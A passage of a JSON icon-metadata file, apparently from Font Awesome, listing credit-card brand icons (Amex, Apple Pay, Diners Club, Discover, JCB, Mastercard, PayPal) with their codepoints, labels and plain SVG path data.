42.4-8.1 62.9-14.7 29.6-9.6 57.7-22.4 83.4-40.1 2.8-1.9 5.7-3.8 8-6.2 4.3-4.4 2.3-10.4-3.3-11.9zm50.4-27.7c-.8-4.2-4-5.8-7.6-7-5.7-1.9-11.6-2.8-17.6-3.3-11-.9-22-.4-32.8 1.6-12 2.2-23.4 6.1-33.5 13.1-1.2.8-2.4 1.8-3.1 3-.6.9-.7 2.3-.5 3.4.3 1.3 1.7 1.6 3 1.5.6 0 1.2 0 1.8-.1l19.5-2.1c9.6-.9 19.2-1.5 28.8-.8 4.1.3 8.1 1.2 12 2.2 4.3 1.1 6.2 4.4 6.4 8.7.3 6.7-1.2 13.1-2.9 19.5-3.5 12.9-8.3 25.4-13.3 37.8-.3.8-.7 1.7-.8 2.5-.4 2.5 1 4 3.4 3.5 1.4-.3 3-1.1 4-2.1 3.7-3.6 7.5-7.2 10.6-11.2 10.7-13.8 17-29.6 20.7-46.6.7-3 1.2-6.1 1.7-9.1.2-4.7.2-9.6.2-14.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-amex": {
    "changes": ["4.2.0", "5.0.0", "5.7.0", "6.1.2"],
    "ligatures": [],
    "search": {
      "terms": ["amex"]
    },
    "styles": ["brands"],
    "unicode": "f1f3",
    "label": "American Express Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014462,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 480C21.49 480 0 458.5 0 432V80C0 53.49 21.49 32 48 32H528C554.5 32 576 53.49 576 80V82.43H500.5L483.5 130L466.6 82.43H369.4V145.6L341.3 82.43H262.7L181 267.1H246.8V430.9H450.5L482.4 395.8L514.3 430.9H576V432C576 458.5 554.5 480 528 480H48zM482.6 364L440.4 410.3H390.5L458 338.6L390.5 266.1H441.9L483.4 312.8L525.4 266.1H576L508 338.2L576 410.3H524.6L482.6 364zM576 296.9V380.2L536.7 338.3L576 296.9zM307.6 377.1H390.6V410.3H268.6V267.1H390.6V300.2H307.6V322.6H388.5V354.9H307.6V377.2V377.1zM537.3 145.7L500.4 246.3H466L429.2 146V246.3H390.5V103H451.7L483.6 192.3L515.8 103H576V246.3H537.3V145.7zM334.5 217.6H268.6L256.7 246.3H213.7L276.1 103H327.3L390.6 246.3H346.5L334.5 217.6zM301.5 138.5L282 185.4H320.9L301.5 138.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 480C21.49 480 0 458.5 0 432V80C0 53.49 21.49 32 48 32H528C554.5 32 576 53.49 576 80V82.43H500.5L483.5 130L466.6 82.43H369.4V145.6L341.3 82.43H262.7L181 267.1H246.8V430.9H450.5L482.4 395.8L514.3 430.9H576V432C576 458.5 554.5 480 528 480H48zM482.6 364L440.4 410.3H390.5L458 338.6L390.5 266.1H441.9L483.4 312.8L525.4 266.1H576L508 338.2L576 410.3H524.6L482.6 364zM576 296.9V380.2L536.7 338.3L576 296.9zM307.6 377.1H390.6V410.3H268.6V267.1H390.6V300.2H307.6V322.6H388.5V354.9H307.6V377.2V377.1zM537.3 145.7L500.4 246.3H466L429.2 146V246.3H390.5V103H451.7L483.6 192.3L515.8 103H576V246.3H537.3V145.7zM334.5 217.6H268.6L256.7 246.3H213.7L276.1 103H327.3L390.6 246.3H346.5L334.5 217.6zM301.5 138.5L282 185.4H320.9L301.5 138.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-apple-pay": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f416",
    "label": "Apple Pay Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014477,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M302.2 218.4c0 17.2-10.5 27.1-29 27.1h-24.3v-54.2h24.4c18.4 0 28.9 9.8 28.9 27.1zm47.5 62.6c0 8.3 7.2 13.7 18.5 13.7 14.4 0 25.2-9.1 25.2-21.9v-7.7l-23.5 1.5c-13.3.9-20.2 5.8-20.2 14.4zM576 79v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V79c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM127.8 197.2c8.4.7 16.8-4.2 22.1-10.4 5.2-6.4 8.6-15 7.7-23.7-7.4.3-16.6 4.9-21.9 11.3-4.8 5.5-8.9 14.4-7.9 22.8zm60.6 74.5c-.2-.2-19.6-7.6-19.8-30-.2-18.7 15.3-27.7 16-28.2-8.8-13-22.4-14.4-27.1-14.7-12.2-.7-22.6 6.9-28.4 6.9-5.9 0-14.7-6.6-24.3-6.4-12.5.2-24.2 7.3-30.5 18.6-13.1 22.6-3.4 56 9.3 74.4 6.2 9.1 13.7 19.1 23.5 18.7 9.3-.4 13-6 24.2-6 11.3 0 14.5 6 24.3 5.9 10.2-.2 16.5-9.1 22.8-18.2 6.9-10.4 9.8-20.4 10-21zm135.4-53.4c0-26.6-18.5-44.8-44.9-44.8h-51.2v136.4h21.2v-46.6h29.3c26.8 0 45.6-18.4 45.6-45zm90 23.7c0-19.7-15.8-32.4-40-32.4-22.5 0-39.1 12.9-39.7 30.5h19.1c1.6-8.4 9.4-13.9 20-13.9 13 0 20.2 6 20.2 17.2v7.5l-26.4 1.6c-24.6 1.5-37.9 11.6-37.9 29.1 0 17.7 13.7 29.4 33.4 29.4 13.3 0 25.6-6.7 31.2-17.4h.4V310h19.6v-68zM516 210.9h-21.5l-24.9 80.6h-.4l-24.9-80.6H422l35.9 99.3-1.9 6c-3.2 10.2-8.5 14.2-17.9 14.2-1.7 0-4.9-.2-6.2-.3v16.4c1.2.4 6.5.5 8.1.5 20.7 0 30.4-7.9 38.9-31.8L516 210.9z"
      }
    },
    "free": ["brands"]
  },
  "cc-diners-club": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f24c",
    "label": "Diner's Club Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014464,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M239.7 79.9c-96.9 0-175.8 78.6-175.8 175.8 0 96.9 78.9 175.8 175.8 175.8 97.2 0 175.8-78.9 175.8-175.8 0-97.2-78.6-175.8-175.8-175.8zm-39.9 279.6c-41.7-15.9-71.4-56.4-71.4-103.8s29.7-87.9 71.4-104.1v207.9zm79.8.3V151.6c41.7 16.2 71.4 56.7 71.4 104.1s-29.7 87.9-71.4 104.1zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM329.7 448h-90.3c-106.2 0-193.8-85.5-193.8-190.2C45.6 143.2 133.2 64 239.4 64h90.3c105 0 200.7 79.2 200.7 193.8 0 104.7-95.7 190.2-200.7 190.2z"
      }
    },
    "free": ["brands"]
  },
  "cc-discover": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f2",
    "label": "Discover Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M520.4 196.1c0-7.9-5.5-12.1-15.6-12.1h-4.9v24.9h4.7c10.3 0 15.8-4.4 15.8-12.8zM528 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h480c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zm-44.1 138.9c22.6 0 52.9-4.1 52.9 24.4 0 12.6-6.6 20.7-18.7 23.2l25.8 34.4h-19.6l-22.2-32.8h-2.2v32.8h-16zm-55.9.1h45.3v14H444v18.2h28.3V217H444v22.2h29.3V253H428zm-68.7 0l21.9 55.2 22.2-55.2h17.5l-35.5 84.2h-8.6l-35-84.2zm-55.9-3c24.7 0 44.6 20 44.6 44.6 0 24.7-20 44.6-44.6 44.6-24.7 0-44.6-20-44.6-44.6 0-24.7 20-44.6 44.6-44.6zm-49.3 6.1v19c-20.1-20.1-46.8-4.7-46.8 19 0 25 27.5 38.5 46.8 19.2v19c-29.7 14.3-63.3-5.7-63.3-38.2 0-31.2 33.1-53 63.3-38zm-97.2 66.3c11.4 0 22.4-15.3-3.3-24.4-15-5.5-20.2-11.4-20.2-22.7 0-23.2 30.6-31.4 49.7-14.3l-8.4 10.8c-10.4-11.6-24.9-6.2-24.9 2.5 0 4.4 2.7 6.9 12.3 10.3 18.2 6.6 23.6 12.5 23.6 25.6 0 29.5-38.8 37.4-56.6 11.3l10.3-9.9c3.7 7.1 9.9 10.8 17.5 10.8zM55.4 253H32v-82h23.4c26.1 0 44.1 17 44.1 41.1 0 18.5-13.2 40.9-44.1 40.9zm67.5 0h-16v-82h16zM544 433c0 8.2-6.8 15-15 15H128c189.6-35.6 382.7-139.2 416-160zM74.1 191.6c-5.2-4.9-11.6-6.6-21.9-6.6H48v54.2h4.2c10.3 0 17-2 21.9-6.4 5.7-5.2 8.9-12.8 8.9-20.7s-3.2-15.5-8.9-20.5z"
      }
    },
    "free": ["brands"]
  },
  "cc-jcb": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f24b",
    "label": "JCB Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M431.5 244.3V212c41.2 0 38.5.2 38.5.2 7.3 1.3 13.3 7.3 13.3 16 0 8.8-6 14.5-13.3 15.8-1.2.4-3.3.3-38.5.3zm42.8 20.2c-2.8-.7-3.3-.5-42.8-.5v35c39.6 0 40 .2 42.8-.5 7.5-1.5 13.5-8 13.5-17 0-8.7-6-15.5-13.5-17zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM182 192.3h-57c0 67.1 10.7 109.7-35.8 109.7-19.5 0-38.8-5.7-57.2-14.8v28c30 8.3 68 8.3 68 8.3 97.9 0 82-47.7 82-131.2zm178.5 4.5c-63.4-16-165-14.9-165 59.3 0 77.1 108.2 73.6 165 59.2V287C312.9 311.7 253 309 253 256s59.8-55.6 107.5-31.2v-28zM544 286.5c0-18.5-16.5-30.5-38-32v-.8c19.5-2.7 30.3-15.5 30.3-30.2 0-19-15.7-30-37-31 0 0 6.3-.3-120.3-.3v127.5h122.7c24.3.1 42.3-12.9 42.3-33.2z"
      }
    },
    "free": ["brands"]
  },
  "cc-mastercard": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f1",
    "label": "MasterCard Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M482.9 410.3c0 6.8-4.6 11.7-11.2 11.7-6.8 0-11.2-5.2-11.2-11.7 0-6.5 4.4-11.7 11.2-11.7 6.6 0 11.2 5.2 11.2 11.7zm-310.8-11.7c-7.1 0-11.2 5.2-11.2 11.7 0 6.5 4.1 11.7 11.2 11.7 6.5 0 10.9-4.9 10.9-11.7-.1-6.5-4.4-11.7-10.9-11.7zm117.5-.3c-5.4 0-8.7 3.5-9.5 8.7h19.1c-.9-5.7-4.4-8.7-9.6-8.7zm107.8.3c-6.8 0-10.9 5.2-10.9 11.7 0 6.5 4.1 11.7 10.9 11.7 6.8 0 11.2-4.9 11.2-11.7 0-6.5-4.4-11.7-11.2-11.7zm105.9 26.1c0 .3.3.5.3 1.1 0 .3-.3.5-.3 1.1-.3.3-.3.5-.5.8-.3.3-.5.5-1.1.5-.3.3-.5.3-1.1.3-.3 0-.5 0-1.1-.3-.3 0-.5-.3-.8-.5-.3-.3-.5-.5-.5-.8-.3-.5-.3-.8-.3-1.1 0-.5 0-.8.3-1.1 0-.5.3-.8.5-1.1.3-.3.5-.3.8-.5.5-.3.8-.3 1.1-.3.5 0 .8 0 1.1.3.5.3.8.3 1.1.5s.2.6.5 1.1zm-2.2 1.4c.5 0 .5-.3.8-.3.3-.3.3-.5.3-.8 0-.3 0-.5-.3-.8-.3 0-.5-.3-1.1-.3h-1.6v3.5h.8V426h.3l1.1 1.4h.8l-1.1-1.3zM576 81v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V81c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM64 220.6c0 76.5 62.1 138.5 138.5 138.5 27.2 0 53.9-8.2 76.5-23.1-72.9-59.3-72.4-171.2 0-230.5-22.6-15-49.3-23.1-76.5-23.1-76.4-.1-138.5 62-138.5 138.2zm224 108.8c70.5-55 70.2-162.2 0-217.5-70.2 55.3-70.5 162.6 0 217.5zm-142.3 76.3c0-8.7-5.7-14.4-14.7-14.7-4.6 0-9.5 1.4-12.8 6.5-2.4-4.1-6.5-6.5-12.2-6.5-3.8 0-7.6 1.4-10.6 5.4V392h-8.2v36.7h8.2c0-18.9-2.5-30.2 9-30.2 10.2 0 8.2 10.2 8.2 30.2h7.9c0-18.3-2.5-30.2 9-30.2 10.2 0 8.2 10 8.2 30.2h8.2v-23zm44.9-13.7h-7.9v4.4c-2.7-3.3-6.5-5.4-11.7-5.4-10.3 0-18.2 8.2-18.2 19.3 0 11.2 7.9 19.3 18.2 19.3 5.2 0 9-1.9 11.7-5.4v4.6h7.9V392zm40.5 25.6c0-15-22.9-8.2-22.9-15.2 0-5.7 11.9-4.8 18.5-1.1l3.3-6.5c-9.4-6.1-30.2-6-30.2 8.2 0 14.3 22.9 8.3 22.9 15 0 6.3-13.5 5.8-20.7.8l-3.5 6.3c11.2 7.6 32.6 6 32.6-7.5zm35.4 9.3l-2.2-6.8c-3.8 2.1-12.2 4.4-12.2-4.1v-16.6h13.1V392h-13.1v-11.2h-8.2V392h-7.6v7.3h7.6V416c0 17.6 17.3 14.4 22.6 10.9zm13.3-13.4h27.5c0-16.2-7.4-22.6-17.4-22.6-10.6 0-18.2 7.9-18.2 19.3 0 20.5 22.6 23.9 33.8 14.2l-3.8-6c-7.8 6.4-19.6 5.8-21.9-4.9zm59.1-21.5c-4.6-2-11.6-1.8-15.2 4.4V392h-8.2v36.7h8.2V408c0-11.6 9.5-10.1 12.8-8.4l2.4-7.6zm10.6 18.3c0-11.4 11.6-15.1 20.7-8.4l3.8-6.5c-11.6-9.1-32.7-4.1-32.7 15 0 19.8 22.4 23.8 32.7 15l-3.8-6.5c-9.2 6.5-20.7 2.6-20.7-8.6zm66.7-18.3H408v4.4c-8.3-11-29.9-4.8-29.9 13.9 0 19.2 22.4 24.7 29.9 13.9v4.6h8.2V392zm33.7 0c-2.4-1.2-11-2.9-15.2 4.4V392h-7.9v36.7h7.9V408c0-11 9-10.3 12.8-8.4l2.4-7.6zm40.3-14.9h-7.9v19.3c-8.2-10.9-29.9-5.1-29.9 13.9 0 19.4 22.5 24.6 29.9 13.9v4.6h7.9v-51.7zm7.6-75.1v4.6h.8V302h1.9v-.8h-4.6v.8h1.9zm6.6 123.8c0-.5 0-1.1-.3-1.6-.3-.3-.5-.8-.8-1.1-.3-.3-.8-.5-1.1-.8-.5 0-1.1-.3-1.6-.3-.3 0-.8.3-1.4.3-.5.3-.8.5-1.1.8-.5.3-.8.8-.8 1.1-.3.5-.3 1.1-.3 1.6 0 .3 0 .8.3 1.4 0 .3.3.8.8 1.1.3.3.5.5 1.1.8.5.3 1.1.3 1.4.3.5 0 1.1 0 1.6-.3.3-.3.8-.5 1.1-.8.3-.3.5-.8.8-1.1.3-.6.3-1.1.3-1.4zm3.2-124.7h-1.4l-1.6 3.5-1.6-3.5h-1.4v5.4h.8v-4.1l1.6 3.5h1.1l1.4-3.5v4.1h1.1v-5.4zm4.4-80.5c0-76.2-62.1-138.3-138.5-138.3-27.2 0-53.9 8.2-76.5 23.1 72.1 59.3 73.2 171.5 0 230.5 22.6 15 49.5 23.1 76.5 23.1 76.4.1 138.5-61.9 138.5-138.4z"
      }
    },
    "free": ["brands"]
  },
  "cc-paypal": {
    "changes": ["4.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1f4",
    "label": "Paypal Credit Card",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M186.3 258.2c0 12.2-9.7 21.5-22 21.5-9.2 0-16-5.2-16-15 0-12.2 9.5-22 21.7-22 9.3 0 16.3 5.7 16.3 15.5zM80.5 209.7h-4.7c-1.5 0-3 1-3.2 2.7l-4.3 26.7 8.2-.3c11 0 19.5-1.5 21.5-14.2 2.3-13.4-6.2-14.9-17.5-14.9zm284 0H360c-1.8 0-3 1-3.2 2.7l-4.2 26.7 8-.3c13 0 22-3 22-18-.1-10.6-9.6-11.1-18.1-11.1zM576 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h480c26.5 0 48 21.5 48 48zM128.3 215.4c0-21-16.2-28-34.7-28h-40c-2.5 0-5 2-5.2 4.7L32 294.2c-.3 2 1.2 4 3.2 4h19c2.7 0 5.2-2.9 5.5-5.7l4.5-26.6c1-7.2 13.2-4.7 18-4.7 28.6 0 46.1-17 46.1-45.8zm84.2 8.8h-19c-3.8 0-4 5.5-4.2 8.2-5.8-8.5-14.2-10-23.7-10-24.5 0-43.2 21.5-43.2 45.2 0 19.5 12.2 32.2 31.7 32.2 9 0 20.2-4.9 26.5-11.9-.5 1.5-1 4.7-1 6.2 0 2.3 1 4 3.2 4H200c2.7 0 5-2.9 5.5-5.7l10.2-64.3c.3-1.9-1.2-3.9-3.2-3.9zm40.5 97.9l63.7-92.6c.5-.5.5-1 .5-1.7 0-1.7-1.5-3.5-3.2-3.5h-19.2c-1.7 0-3.5 1-4.5 2.5l-26.5 39-11-37.5c-.8-2.2-3-4-5.5-4h-18.7c-1.7 0-3.2 